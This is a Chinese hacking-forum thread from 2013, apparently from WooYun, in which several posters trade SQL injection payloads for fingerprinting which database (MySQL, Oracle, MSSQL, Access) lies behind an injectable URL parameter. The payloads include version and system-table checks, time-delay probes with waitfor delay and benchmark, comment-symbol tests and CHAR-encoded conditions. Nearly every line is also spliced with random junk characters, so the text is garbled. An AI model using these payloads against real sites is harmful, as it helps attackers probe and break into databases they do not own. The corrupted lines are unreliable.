一个注射点如何最快速确认是什么类型数据库
4 v5 y. ^- f' [1 z, E# Exsser (十根阳具有长短!!) | 2013-02-05 12:36- F) k* G: T. y4 e& u
假设这么一个注射点:
0 s3 \! l0 N# V8 m* Y+ Eshow.html?id=2
: ~) A' s4 J% S O/ C/ `- |# amysql:id=2 and version()>0
4 E+ N5 U$ f* J( {oracle:id=2 and '1'||'1'='11! o2 r" ?% i" C- Z: ]( C' P& t: C
其他的欢迎补充
* S; U0 V7 t! u& o' s9 |1#2 T& R, X' F8 H1 I& C
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47: ?" Y6 D# \) l: m% B
Access:
7 r9 V8 a! P6 e8 @" xaNd aSc(cHr(97))=970 l/ a, O0 e3 g) z
and exists(select id from MSysAccessObjects)
4 J$ E! g! F6 p9 {" O) I! vSQL Server:& u8 R8 D) I) f6 N
and exists(select id from sysobjects)
+ E) F3 N+ b& ^& f5 Cand length(user)>0
% t3 J/ V# s9 Z* CMySQL:. B8 C8 Z B# Z+ v% x. ?# K$ j: K5 \
and length(user())>0+ R0 [" Q' U0 P/ J# S1 @
2#
+ A" w6 h( k5 qxsser (十根阳具有长短!!) | 2013-02-05 12:48
8 V5 J7 A6 i2 G@upload 如果这些都不是呢…
v9 u( P+ X5 a7 J( h# p+ ?3#8 ^" h3 I' {7 \3 L+ V$ Z
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03
3 ?; p# O' k$ d6 j@xsser 不快速的,延时注入
* [& ]) E D6 W5 ^; r不知道这样写对不对& J* m+ g% ^) q" \/ p
mssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'- A) m! O2 \2 K7 X: j$ u% o! T
mysql:id=2 and select benchmark(1e8,current_date());2 [8 y0 ^ o/ q" ~! ]5 ~9 v7 x
4#4 y( ~1 _4 Y7 c& E/ ^4 @
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10
( o% ^/ V/ k1 p8 r最快的貌似是看报错信息2 V9 ]* j8 f( x5 P
oracle error5 m. h3 [- c6 Q
mssql error
7 Y" _9 U$ W: v. @; |mysql error$ a) C. z- }7 b* t% a% d3 G2 i
5# P7 K; q' L+ _
Nimda (你们都是坏银~) | 2013-02-05 13:143 k6 Y6 ]: ^1 T ]
小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)8 R" E0 K& u' U; Y7 W
6#
9 _& o9 H9 t" y8 Cupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21
7 u1 i$ _* j7 n- y3 A6 b“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:+ [7 f; U- j) z2 s) N, Z' r
“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:$ N. o2 K0 c* U1 {, Y
“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
& C+ M% }' ?" b2 C. L0 L3 P7#2 r, s7 F& N2 \. X; k9 ^' \7 f
_Evil (HackEnd) | 2013-02-05 13:33
3 A2 @) s& ^- @PostgreSQL9 I- V' Q/ v( c3 m* W# {2 v7 f
8# \1 E5 W& i, u1 Y6 t0 S$ F9 I" g
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:424 M7 ?( @, O1 u' k7 `4 a- K7 u
切换编码 and 1=1
7 A) ?! K f; K6 `oracle:
$ b/ |0 @2 a9 o7 p* bCHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)
& s4 A! Q# p# |3 O: g6 t- F. G& Tmssql:
" y1 h V( ?1 XCHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)
; X9 o* R7 e& {3 q& n% _mysql:
; D- R6 K/ z+ ECHAR(97, 110, 100, 32, 49, 61, 49)
! F& k$ ]% j7 @/ D T! l9#
- _! D) K4 A+ O8 y/ X- z5 rxsser (十根阳具有长短!!) | 2013-02-05 14:31
$ i" d8 C. e8 [' T7 |6 Z$ ~" z@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?4 r/ T* _/ U* u( Z' q1 L& Y1 E% K
10#
6 `, k) ~' @" f; P! A) F! t. supload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46$ Q. s: h4 g' a: |. A# s% }& J6 [% n
@xsser 是奇葩数据库类型的么?
1 i2 f% c: U+ N* Y根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:, H# K9 K) ^' }+ L2 G2 [. y0 E5 e
1.是否可以使用特定的函数来判断,该数据库特有的
8 [) X& l: N! j2 e) K2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等
! H0 h+ q" y" F6 Q! w$ K3.是否可以编码查询
2 r; B4 v$ z# |* g( ?+ m* X) p4.是否显可以利用错信息% p# x1 F* ]8 u& @' `; x) d
5.是否存在数据库某些特性辅助判断/ o/ S) L/ |) T( X. m
个人见解
) l- g8 Q0 Y& n# ~& T) s1 T7 w11#
w7 s% N0 _0 c8 J: l; z% L4 C1 e小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:558 V0 _ ^/ @' o V9 s$ E3 L4 C
已收藏,mssql可以直接看到错误提示的吧~
5 m! P" @- D& N2 ^- S6 _8 b \, U( D12#$ M& K" r8 e7 F7 _# `. G
Passer_by | 2013-02-05 15:092 [5 h* `6 u2 N+ E# D
曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
! K( Q6 r' i9 ?2 |from:http://zone.wooyun.org/content/260 |